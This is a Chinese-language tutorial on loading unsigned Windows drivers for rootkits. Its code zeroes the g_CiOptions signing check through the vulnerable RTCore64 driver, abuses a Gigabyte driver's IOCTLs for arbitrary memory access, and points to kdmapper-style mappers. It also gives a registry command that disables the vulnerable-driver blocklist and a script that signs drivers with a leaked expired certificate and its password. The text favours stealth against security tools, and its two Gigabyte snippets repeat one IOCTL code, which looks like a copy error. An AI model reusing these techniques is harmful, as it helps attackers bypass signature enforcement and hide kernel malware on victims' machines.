RootKit之驱动加载技术
字数 1098 2025-08-23 18:31:08
Windows RootKit驱动加载技术详解
前言
在Windows环境中加载驱动通常需要WHQL认证,但WHQL认证的高昂成本使其不适用于Rootkit开发。当微软发现驱动被恶意利用后会吊销证书,因此需要低成本的驱动加载方案。本文将详细介绍几种常见的驱动加载技术。
驱动白利用技术
驱动白利用类似于白加黑技术,利用WHQL认证驱动加载未认证的恶意驱动。
实现步骤
-
定位CI模块关键变量:
- 在用户态找到
ci.dll中的g_CiOptions变量 - 该变量控制驱动签名验证行为
- 在用户态找到
-
获取CiInitialize函数地址:
HMODULE hModule = LoadLibraryExA("C:\\Windows\\System32\\ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hModule == 0) {
return;
}
ULONG64 Address = (ULONG64)GetProcAddress(hModule, "CiInitialize");
- 定位CipInitialize函数:
for (size_t i = 0; i < 0x200; i++) {
if ((*((BYTE*)Address) == 0x4C) && (*((BYTE*)Address + 1) == 0x8B) && (*((BYTE*)Address + 2) == 0xCB)) {
printf("Address = %p \r\n", Address);
break;
}
Address++;
}
Address = Address + 12;
ULONG offset = *((DWORD*)Address);
ULONG64 CipInitialize = Address + 4 + offset;
- 获取g_CiOptions偏移(不同系统偏移不同):
ULONG gOption_Value = (*(DWORD*)(CipInitialize + 0x1c));
ULONG64 gOption_NextLine = CipInitialize + 0x1c + 5;
DWORD64 g_op = (gOption_NextLine & ~(ULONGLONG)0xFFFFFFFF) + ((gOption_NextLine + gOption_Value) & (ULONGLONG)0xFFFFFFFF);
- 获取内核CI模块基址:
DWORD64 GetCiBaseAdress() {
HMODULE hModule = LoadLibraryA("ntdll.dll");
Fun_NtQuerySystemInformation NtQuerySystemInformation = (Fun_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
DWORD bufferSize = 0x1024;
PVOID buffer = malloc(0x1024);
NTSTATUS ntStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, buffer, bufferSize, &bufferSize);
if (ntStatus == 0xC0000004L) {
free(buffer);
buffer = malloc((SIZE_T)bufferSize);
ntStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, buffer, bufferSize, &bufferSize);
}
PRTL_PROCESS_MODULES pvModules = (PRTL_PROCESS_MODULES)buffer;
for (size_t i = 0; i < pvModules->NumberOfModules; i++) {
if (strstr((char*)pvModules->Modules[i].FullPathName, "CI.dll") != NULL) {
return (DWORD64)(pvModules->Modules[i].ImageBase);
}
}
return 0;
}
- 计算内核g_CiOptions地址:
ULONG64 Kernel_option = GetCiBaseAdress() + (g_op - (ULONG64)hModule);
- 使用漏洞驱动修改该值(如RTCore64):
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
printf("[!] Unable to obtain a handle to the device object");
return;
}
cout << ReadMemoryWORD(Device, Ci_gOptions) << endl;
将g_CiOptions改为0可加载未签名驱动,加载完成后需改回6避免蓝屏。
技嘉驱动漏洞利用
技嘉驱动存在漏洞可被利用进行任意内存读写。
漏洞分析
- 驱动注册了设备
\Device\GIO和派遣函数sub_12D10 - 控制码
0xC3502800:在内核中申请物理内存 - 控制码
0xC3502008:调用ZwUnmapViewOfSection取消内存映射 - 存在内存映射功能(在
sub_11790函数中)
利用方法
- 定义结构体:
typedef struct conn {
ULONG type;
ULONG size;
ULONG64 Address;
ULONG Flag;
ULONG viewSize;
} CONN;
- 建立内存映射:
ULONG64 Input = address;
ULONG64 Output[2] = { 0 };
ULONG returned = 0;
DeviceIoControl(hHandle, 0xC3502008, reinterpret_cast<LPVOID>(&Input), sizeof(Input), reinterpret_cast<LPVOID>(Output), sizeof(Output), &returned, NULL);
return Output[0];
- 取消内存映射:
ULONG64 Input = address;
ULONG64 Output[2] = { 0 };
ULONG returned = 0;
DeviceIoControl(hHandle, 0xC3502008, reinterpret_cast<LPVOID>(&Input), sizeof(Input), reinterpret_cast<LPVOID>(Output), sizeof(Output), &returned, NULL);
return Output[0];
通过映射内存后修改g_CiOptions值即可绕过驱动签名验证。
内存映射技术
内存映射技术通过PE加载方式在内存中展开驱动并调用入口点,无需创建驱动对象。
实现工具
-
kdmapper:
- GitHub项目:https://github.com/TheCruZ/kdmapper
- Windows 22H2问题:
iqvw64e.sys被拉黑 - 解决方案:关闭黑名单校验
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CI\Config" /f /t REG_DWORD /v VulnerableDriverBlocklistEnable /d 0 -
替代方案:
- 使用
nvaudio.sys:https://github.com/gmh5225/UCMapper
- 使用
过期签名加载技术
利用过期签名加载驱动,通过临时修改系统时间实现。
实现步骤
- 签名驱动:
@echo off
cd %~dp0
@if "x%1" EQU "x" (goto help) else (goto sign)
:help
@echo Usage: sign.bat filename
@echo Note: Original file will be overrided by the signed one, no backup
@goto :end
:sign
@echo Sign File %1
set message=%DATE%
date 2017.03.01
signtool.exe sign /v /ac CSC3-2010.crt /f current_cert.pfx /p nv1d1aRules /t "http://timestamp.digicert.com" %1
date %message%
:end
- 加载驱动:
system("date 2017.03.01");
加载驱动();
system("date 时间改回来");
通信问题解决方案
内存映射驱动后无法创建符号链接时的隐蔽通信方式:
- 使用共享内存或管道通信
- 利用注册表或文件系统进行间接通信
- 通过Hook系统调用或API拦截实现隐蔽通信
- 使用网络套接字进行远程通信
总结
在实际环境中,内存映射方式最为隐蔽,不会产生落地文件也不会显示在驱动列表中。其他方式容易被安全工具检测。选择技术方案时应考虑目标环境的安全防护级别和持久化需求。